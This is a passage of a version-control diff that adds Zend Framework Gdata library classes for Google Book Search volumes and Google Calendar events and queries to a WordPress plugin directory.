+     * @return Zend_Gdata_Books_VolumeEntry Provides a fluent interface
+     */
+    public function setSubjects($subjects)
+    {
+        $this->_subjects = $subjects;
+        return $this;
+    }
+
+    /**
+     * Sets the titles
+     *
+     * @param array $titles titles
+     * @return Zend_Gdata_Books_VolumeEntry Provides a fluent interface
+     */
+    public function setTitles($titles)
+    {
+        $this->_titles = $titles;
+        return $this;
+    }
+
+    /**
+     * Sets the viewability
+     *
+     * @param Zend_Gdata_Books_Extension_Viewability|null $viewability
+     *        viewability
+     * @return Zend_Gdata_Books_VolumeEntry Provides a fluent interface
+     */
+    public function setViewability($viewability)
+    {
+        $this->_viewability = $viewability;
+        return $this;
+    }
+
+
+    /**
+     * Gets the volume ID based upon the atom:id value
+     *
+     * @return string The volume ID
+     * @throws Zend_Gdata_App_Exception
+     */
+    public function getVolumeId()
+    {
+        $fullId = $this->getId()->getText();
+        $position = strrpos($fullId, '/');
+        if ($position === false) {
+            require_once 'Zend/Gdata/App/Exception.php';
+            throw new Zend_Gdata_App_Exception('Slash not found in atom:id');
+        } else {
+            return substr($fullId, strrpos($fullId,'/') + 1);
+        }
+    }
+
+    /**
+     * Gets the thumbnail link
+     *
+     * @return Zend_Gdata_App_Extension_link|null The thumbnail link
+     */
+    public function getThumbnailLink()
+    {
+        return $this->getLink(self::THUMBNAIL_LINK_REL);
+    }
+
+    /**
+     * Gets the preview link
+     *
+     * @return Zend_Gdata_App_Extension_Link|null The preview link
+     */
+    public function getPreviewLink()
+    {
+        return $this->getLink(self::PREVIEW_LINK_REL);
+    }
+
+    /**
+     * Gets the info link
+     *
+     * @return Zend_Gdata_App_Extension_Link|null The info link
+     */
+    public function getInfoLink()
+    {
+        return $this->getLink(self::INFO_LINK_REL);
+    }
+
+    /**
+     * Gets the annotations link
+     *
+     * @return Zend_Gdata_App_Extension_Link|null The annotations link
+     */
+    public function getAnnotationLink()
+    {
+        return $this->getLink(self::ANNOTATION_LINK_REL);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/VolumeFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/VolumeFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/VolumeFeed.php	(revision 44)
@@ -0,0 +1,63 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * Describes a Book Search volume feed
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Books_VolumeFeed extends Zend_Gdata_Feed
+{
+
+    /**
+     * Constructor for Zend_Gdata_Books_VolumeFeed which
+     * Describes a Book Search volume feed
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Books::$namespaces);
+        parent::__construct($element);
+    }
+
+     /**
+      * The classname for individual feed elements.
+      *
+      * @var string
+      */
+     protected $_entryClassName = 'Zend_Gdata_Books_VolumeEntry';
+
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/VolumeQuery.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/VolumeQuery.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/VolumeQuery.php	(revision 44)
@@ -0,0 +1,111 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Zend_Gdata_Books
+ */
+require_once('Zend/Gdata/Books.php');
+
+/**
+ * Zend_Gdata_Query
+ */
+require_once('Zend/Gdata/Query.php');
+
+/**
+ * Assists in constructing queries for Books volumes
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Books_VolumeQuery extends Zend_Gdata_Query
+{
+
+    /**
+     * Create Gdata_Books_VolumeQuery object
+     *
+     * @param string|null $url If non-null, pre-initializes the instance to
+     *        use a given URL.
+     */
+    public function __construct($url = null)
+    {
+        parent::__construct($url);
+    }
+
+    /**
+     * Sets the minimum level of viewability of volumes to return in the search results
+     *
+     * @param string|null $value The minimum viewability - 'full' or 'partial'
+     * @return Zend_Gdata_Books_VolumeQuery Provides a fluent interface
+     */
+    public function setMinViewability($value = null)
+    {
+        switch ($value) {
+            case 'full_view':
+                $this->_params['min-viewability'] = 'full';
+                break;
+            case 'partial_view':
+                $this->_params['min-viewability'] = 'partial';
+                break;
+            case null:
+                unset($this->_params['min-viewability']);
+                break;
+        }
+        return $this;
+    }
+
+    /**
+     * Minimum viewability of volumes to include in search results
+     *
+     * @return string|null min-viewability
+     */
+    public function getMinViewability()
+    {
+        if (array_key_exists('min-viewability', $this->_params)) {
+            return $this->_params['min-viewability'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Returns the generated full query URL
+     *
+     * @return string The URL
+     */
+    public function getQueryUrl()
+    {
+        if (isset($this->_url)) {
+            $url = $this->_url;
+        } else {
+            $url = Zend_Gdata_Books::VOLUME_FEED_URI;
+        }
+        if ($this->getCategory() !== null) {
+            $url .= '/-/' . $this->getCategory();
+        }
+        $url = $url . $this->getQueryString();
+        return $url;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar.php	(revision 44)
@@ -0,0 +1,168 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata
+ */
+require_once 'Zend/Gdata.php';
+
+/**
+ * @see Zend_Gdata_Calendar_EventFeed
+ */
+require_once 'Zend/Gdata/Calendar/EventFeed.php';
+
+/**
+ * @see Zend_Gdata_Calendar_EventEntry
+ */
+require_once 'Zend/Gdata/Calendar/EventEntry.php';
+
+/**
+ * @see Zend_Gdata_Calendar_ListFeed
+ */
+require_once 'Zend/Gdata/Calendar/ListFeed.php';
+
+/**
+ * @see Zend_Gdata_Calendar_ListEntry
+ */
+require_once 'Zend/Gdata/Calendar/ListEntry.php';
+
+/**
+ * Service class for interacting with the Google Calendar data API
+ * @link http://code.google.com/apis/gdata/calendar.html
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Calendar extends Zend_Gdata
+{
+
+    const CALENDAR_FEED_URI = 'http://www.google.com/calendar/feeds';
+    const CALENDAR_EVENT_FEED_URI = 'http://www.google.com/calendar/feeds/default/private/full';
+    const AUTH_SERVICE_NAME = 'cl';
+
+    protected $_defaultPostUri = self::CALENDAR_EVENT_FEED_URI;
+
+    /**
+     * Namespaces used for Zend_Gdata_Calendar
+     *
+     * @var array
+     */
+    public static $namespaces = array(
+        array('gCal', 'http://schemas.google.com/gCal/2005', 1, 0)
+    );
+
+    /**
+     * Create Gdata_Calendar object
+     *
+     * @param Zend_Http_Client $client (optional) The HTTP client to use when
+     *          when communicating with the Google servers.
+     * @param string $applicationId The identity of the app in the form of Company-AppName-Version
+     */
+    public function __construct($client = null, $applicationId = 'MyCompany-MyApp-1.0')
+    {
+        $this->registerPackage('Zend_Gdata_Calendar');
+        $this->registerPackage('Zend_Gdata_Calendar_Extension');
+        parent::__construct($client, $applicationId);
+        $this->_httpClient->setParameterPost('service', self::AUTH_SERVICE_NAME);
+    }
+
+    /**
+     * Retreive feed object
+     *
+     * @param mixed $location The location for the feed, as a URL or Query
+     * @return Zend_Gdata_Calendar_EventFeed
+     */
+    public function getCalendarEventFeed($location = null)
+    {
+        if ($location == null) {
+            $uri = self::CALENDAR_EVENT_FEED_URI;
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_Calendar_EventFeed');
+    }
+
+    /**
+     * Retreive entry object
+     *
+     * @return Zend_Gdata_Calendar_EventEntry
+     */
+    public function getCalendarEventEntry($location = null)
+    {
+        if ($location == null) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Location must not be null');
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getEntry($uri, 'Zend_Gdata_Calendar_EventEntry');
+    }
+
+
+    /**
+     * Retrieve feed object
+     *
+     * @return Zend_Gdata_Calendar_ListFeed
+     */
+    public function getCalendarListFeed()
+    {
+        $uri = self::CALENDAR_FEED_URI . '/default';
+        return parent::getFeed($uri,'Zend_Gdata_Calendar_ListFeed');
+    }
+
+    /**
+     * Retreive entryobject
+     *
+     * @return Zend_Gdata_Calendar_ListEntry
+     */
+    public function getCalendarListEntry($location = null)
+    {
+        if ($location == null) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Location must not be null');
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getEntry($uri,'Zend_Gdata_Calendar_ListEntry');
+    }
+
+    public function insertEvent($event, $uri=null)
+    {
+        if ($uri == null) {
+            $uri = $this->_defaultPostUri;
+        }
+        $newEvent = $this->insertEntry($event, $uri, 'Zend_Gdata_Calendar_EventEntry');
+        return $newEvent;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/EventEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/EventEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/EventEntry.php	(revision 44)
@@ -0,0 +1,163 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Kind_EventEntry
+ */
+require_once 'Zend/Gdata/Kind/EventEntry.php';
+
+/**
+ * @see Zend_Gdata_Calendar_Extension_SendEventNotifications
+ */
+require_once 'Zend/Gdata/Calendar/Extension/SendEventNotifications.php';
+
+/**
+ * @see Zend_Gdata_Calendar_Extension_Timezone
+ */
+require_once 'Zend/Gdata/Calendar/Extension/Timezone.php';
+
+/**
+ * @see Zend_Gdata_Calendar_Extension_Link
+ */
+require_once 'Zend/Gdata/Calendar/Extension/Link.php';
+
+/**
+ * @see Zend_Gdata_Calendar_Extension_QuickAdd
+ */
+require_once 'Zend/Gdata/Calendar/Extension/QuickAdd.php';
+
+/**
+ * Data model class for a Google Calendar Event Entry
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Calendar_EventEntry extends Zend_Gdata_Kind_EventEntry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_Calendar_EventEntry';
+    protected $_sendEventNotifications = null;
+    protected $_timezone = null;
+    protected $_quickadd = null;
+
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Calendar::$namespaces);
+        parent::__construct($element);
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_sendEventNotifications != null) {
+            $element->appendChild($this->_sendEventNotifications->getDOM($element->ownerDocument));
+        }
+        if ($this->_timezone != null) {
+            $element->appendChild($this->_timezone->getDOM($element->ownerDocument));
+        }
+        if ($this->_quickadd != null) {
+            $element->appendChild($this->_quickadd->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('gCal') . ':' . 'sendEventNotifications';
+                $sendEventNotifications = new Zend_Gdata_Calendar_Extension_SendEventNotifications();
+                $sendEventNotifications->transferFromDOM($child);
+                $this->_sendEventNotifications = $sendEventNotifications;
+                break;
+            case $this->lookupNamespace('gCal') . ':' . 'timezone';
+                $timezone = new Zend_Gdata_Calendar_Extension_Timezone();
+                $timezone->transferFromDOM($child);
+                $this->_timezone = $timezone;
+                break;
+            case $this->lookupNamespace('atom') . ':' . 'link';
+                $link = new Zend_Gdata_Calendar_Extension_Link();
+                $link->transferFromDOM($child);
+                $this->_link[] = $link;
+                break;
+            case $this->lookupNamespace('gCal') . ':' . 'quickadd';
+                $quickadd = new Zend_Gdata_Calendar_Extension_QuickAdd();
+                $quickadd->transferFromDOM($child);
+                $this->_quickadd = $quickadd;
+                break;
+            default:
+                parent::takeChildFromDOM($child);
+                break;
+        }
+    }
+
+    public function getSendEventNotifications()
+    {
+        return $this->_sendEventNotifications;
+    }
+
+    public function setSendEventNotifications($value)
+    {
+        $this->_sendEventNotifications = $value;
+        return $this;
+    }
+
+    public function getTimezone()
+    {
+        return $this->_timezone;
+    }
+
+    /**
+     * @param Zend_Gdata_Calendar_Extension_Timezone $value
+     * @return Zend_Gdata_Extension_EventEntry Provides a fluent interface
+     */
+    public function setTimezone($value)
+    {
+        $this->_timezone = $value;
+        return $this;
+    }
+
+    public function getQuickAdd()
+    {
+        return $this->_quickadd;
+    }
+
+    /**
+     * @param Zend_Gdata_Calendar_Extension_QuickAdd $value
+     * @return Zend_Gdata_Extension_ListEntry Provides a fluent interface
+     */
+    public function setQuickAdd($value)
+    {
+        $this->_quickadd = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/EventFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/EventFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/EventFeed.php	(revision 44)
@@ -0,0 +1,105 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * @see Zend_Gdata_Extension_Timezone
+ */
+require_once 'Zend/Gdata/Calendar/Extension/Timezone.php';
+
+/**
+ * Data model for a Google Calendar feed of events
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Calendar_EventFeed extends Zend_Gdata_Feed
+{
+
+    protected $_timezone = null;
+
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_Calendar_EventEntry';
+
+    /**
+     * The classname for the feed.
+     *
+     * @var string
+     */
+    protected $_feedClassName = 'Zend_Gdata_Calendar_EventFeed';
+
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Calendar::$namespaces);
+        parent::__construct($element);
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_timezone != null) {
+            $element->appendChild($this->_timezone->getDOM($element->ownerDocument));
+        }
+
+        return $element;
+    }
+
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('gCal') . ':' . 'timezone';
+                $timezone = new Zend_Gdata_Calendar_Extension_Timezone();
+                $timezone->transferFromDOM($child);
+                $this->_timezone = $timezone;
+                break;
+
+            default:
+                parent::takeChildFromDOM($child);
+                break;
+        }
+    }
+
+    public function getTimezone()
+    {
+        return $this->_timezone;
+    }
+
+    public function setTimezone($value)
+    {
+        $this->_timezone = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/EventQuery.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/EventQuery.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/EventQuery.php	(revision 44)
@@ -0,0 +1,446 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Zend_Gdata_App_util
+ */
+require_once('Zend/Gdata/App/Util.php');
+
+/**
+ * Zend_Gdata_Query
+ */
+require_once('Zend/Gdata/Query.php');
+
+/**
+ * Assists in constructing queries for Google Calendar events
+ *
+ * @link http://code.google.com/apis/gdata/calendar/
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Calendar_EventQuery extends Zend_Gdata_Query
+{
+
+    const CALENDAR_FEED_URI = 'http://www.google.com/calendar/feeds';
+
+    protected $_defaultFeedUri = self::CALENDAR_FEED_URI;
+    protected $_comments = null;
+    protected $_user = null;
+    protected $_visibility = null;
+    protected $_projection = null;
+    protected $_event = null;
+
+    /**
+     * Create Gdata_Calendar_EventQuery object.  If a URL is provided,
+     * it becomes the base URL, and additional URL components may be
+     * appended.  For instance, if $url is 'http://www.foo.com', the
+     * default URL constructed will be 'http://www.foo.com/default/public/full'
+     *
+     * @param string $url The URL to use as the base path for requests
+     */
+    public function __construct($url = null)
+    {
+        parent::__construct($url);
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Calendar_EventQuery Provides a fluent interface
+     */
+    public function setComments($value)
+    {
+        $this->_comments = $value;
+        return $this;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Calendar_EventQuery Provides a fluent interface
+     */
+    public function setEvent($value)
+    {
+        $this->_event = $value;
+        return $this;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Calendar_EventQuery Provides a fluent interface
+     */
+    public function setProjection($value)
+    {
+        $this->_projection = $value;
+        return $this;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Calendar_EventQuery Provides a fluent interface
+     */
+    public function setUser($value)
+    {
+        $this->_user = $value;
+        return $this;
+    }
+
+    /**
+     * @param bool $value
+     * @return Zend_Gdata_Calendar_EventQuery Provides a fluent interface
+     */
+    public function setVisibility($value)
+    {
+        $this->_visibility = $value;
+        return $this;
+    }
+
+    /**
+     * @return string comments
+     */
+    public function getComments()
+    {
+        return $this->_comments;
+    }
+
+    /**
+     * @return string event
+     */
+    public function getEvent()
+    {
+        return $this->_event;
+    }
+
+    /**
+     * @return string projection
+     */
+    public function getProjection()
+    {
+        return $this->_projection;
+    }
+
+    /**
+     * @return string user
+     */
+    public function getUser()
+    {
+        return $this->_user;
+    }
+
+    /**
+     * @return string visibility
+     */
+    public function getVisibility()
+    {
+        return $this->_visibility;
+    }
+
+    /**
+     * @param int $value
+     * @return Zend_Gdata_Calendar_EventQuery Provides a fluent interface
+     */
+    public function setStartMax($value)
+    {
+        if ($value != null) {
+            $this->_params['start-max'] = Zend_Gdata_App_Util::formatTimestamp($value);
+        } else {
+            unset($this->_params['start-max']);
+        }
+        return $this;
+    }
+
+    /**
+     * @param int $value
+     * @return Zend_Gdata_Calendar_EventQuery Provides a fluent interface
+     */
+    public function setStartMin($value)
+    {
+        if ($value != null) {
+            $this->_params['start-min'] = Zend_Gdata_App_Util::formatTimestamp($value);
+        } else {
+            unset($this->_params['start-min']);
+        }
+        return $this;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Calendar_EventQuery Provides a fluent interface
+     */
+    public function setOrderBy($value)
+    {
+        if ($value != null) {
+            $this->_params['orderby'] = $value;
+        } else {
+            unset($this->_params['orderby']);
+        }
+        return $this;
+    }
+
+    /**
+     * @return int start-max
+     */
+    public function getStartMax()
+    {
+        if (array_key_exists('start-max', $this->_params)) {
+            return $this->_params['start-max'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @return int start-min
+     */
+    public function getStartMin()
+    {
+        if (array_key_exists('start-min', $this->_params)) {
+            return $this->_params['start-min'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @return string orderby
+     */
+    public function getOrderBy()
+    {
+        if (array_key_exists('orderby', $this->_params)) {
+            return $this->_params['orderby'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @return string sortorder
+     */
+    public function getSortOrder()
+    {
+        if (array_key_exists('sortorder', $this->_params)) {
+            return $this->_params['sortorder'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @return string sortorder
+     */
+    public function setSortOrder($value)
+    {
+        if ($value != null) {
+            $this->_params['sortorder'] = $value;
+        } else {
+            unset($this->_params['sortorder']);
+        }
+        return $this;
+    }
+
+    /**
+     * @return string recurrence-expansion-start
+     */
+    public function getRecurrenceExpansionStart()
+    {
+        if (array_key_exists('recurrence-expansion-start', $this->_params)) {
+            return $this->_params['recurrence-expansion-start'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @return string recurrence-expansion-start
+     */
+    public function setRecurrenceExpansionStart($value)
+    {
+        if ($value != null) {
+            $this->_params['recurrence-expansion-start'] = Zend_Gdata_App_Util::formatTimestamp($value);
+        } else {
+            unset($this->_params['recurrence-expansion-start']);
+        }
+        return $this;
+    }
+
+
+    /**
+     * @return string recurrence-expansion-end
+     */
+    public function getRecurrenceExpansionEnd()
+    {
+        if (array_key_exists('recurrence-expansion-end', $this->_params)) {
+            return $this->_params['recurrence-expansion-end'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @return string recurrence-expansion-end
+     */
+    public function setRecurrenceExpansionEnd($value)
+    {
+        if ($value != null) {
+            $this->_params['recurrence-expansion-end'] = Zend_Gdata_App_Util::formatTimestamp($value);
+        } else {
+            unset($this->_params['recurrence-expansion-end']);
+        }
+        return $this;
+    }
+
+    /**
+     * @param string $value Also accepts bools.
+     * @return Zend_Gdata_Calendar_EventQuery Provides a fluent interface
+     */
+    public function getSingleEvents()
+    {
+        if (array_key_exists('singleevents', $this->_params)) {
+            $value = $this->_params['singleevents'];
+            switch ($value) {
+                case 'true':
+                    return true;
+                    break;
+                case 'false':
+                    return false;
+                    break;
+                default:
+                    require_once 'Zend/Gdata/App/Exception.php';
+                    throw new Zend_Gdata_App_Exception(
+                            'Invalid query param value for futureevents: ' .
+                            $value . ' It must be a boolean.');
+            }
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @param string $value Also accepts bools. If using a string, must be either "true" or "false".
+     * @return Zend_Gdata_Calendar_EventQuery Provides a fluent interface
+     */
+    public function setSingleEvents($value)
+    {
+        if ($value !== null) {
+            if (is_bool($value)) {
+                $this->_params['singleevents'] = ($value?'true':'false');
+            } elseif ($value == 'true' | $value == 'false') {
+                $this->_params['singleevents'] = $value;
+            } else {
+                require_once 'Zend/Gdata/App/Exception.php';
+                throw new Zend_Gdata_App_Exception(
+                        'Invalid query param value for futureevents: ' .
+                        $value . ' It must be a boolean.');
+            }
+        } else {
+            unset($this->_params['singleevents']);
+        }
+        return $this;
+    }
+
+    /**
+     * @return string futureevents
+     */
+    public function getFutureEvents()
+    {
+        if (array_key_exists('futureevents', $this->_params)) {
+            $value = $this->_params['futureevents'];
+            switch ($value) {
+                case 'true':
+                    return true;
+                    break;
+                case 'false':
+                    return false;
+                    break;
+                default:
+                    require_once 'Zend/Gdata/App/Exception.php';
+                    throw new Zend_Gdata_App_Exception(
+                            'Invalid query param value for futureevents: ' .
+                            $value . ' It must be a boolean.');
+            }
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @param string $value Also accepts bools. If using a string, must be either "true" or "false" or
+     *                      an exception will be thrown on retrieval.
+     * @return Zend_Gdata_Calendar_EventQuery Provides a fluent interface
+     */
+    public function setFutureEvents($value)
+    {
+        if ($value !== null) {
+            if (is_bool($value)) {
+                $this->_params['futureevents'] = ($value?'true':'false');
+            } elseif ($value == 'true' | $value == 'false') {
+                $this->_params['futureevents'] = $value;
+            } else {
+                require_once 'Zend/Gdata/App/Exception.php';
+                throw new Zend_Gdata_App_Exception(
+                        'Invalid query param value for futureevents: ' .
+                        $value . ' It must be a boolean.');
+            }
+        } else {
+            unset($this->_params['futureevents']);
+        }
+        return $this;
+    }
+
+    /**
+     * @return string url
+     */
+    public function getQueryUrl()
+    {
+        if (isset($this->_url)) {
+            $uri = $this->_url;
+        } else {
+            $uri = $this->_defaultFeedUri;
+        }
+        if ($this->getUser() != null) {
+            $uri .= '/' . $this->getUser();
+        } else {
+            $uri .= '/default';
+        }
+        if ($this->getVisibility() != null) {
+            $uri .= '/' . $this->getVisibility();
+        } else {
+            $uri .= '/public';
+        }
+        if ($this->getProjection() != null) {
+            $uri .= '/' . $this->getProjection();
+        } else {
+            $uri .= '/full';
+        }
+        if ($this->getEvent() != null) {
+            $uri .= '/' . $this->getEvent();
+            if ($this->getComments() != null) {
+                $uri .= '/comments/' . $this->getComments();
+            }
+        }
+        $uri .= $this->getQueryString();
+        return $uri;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/AccessLevel.php
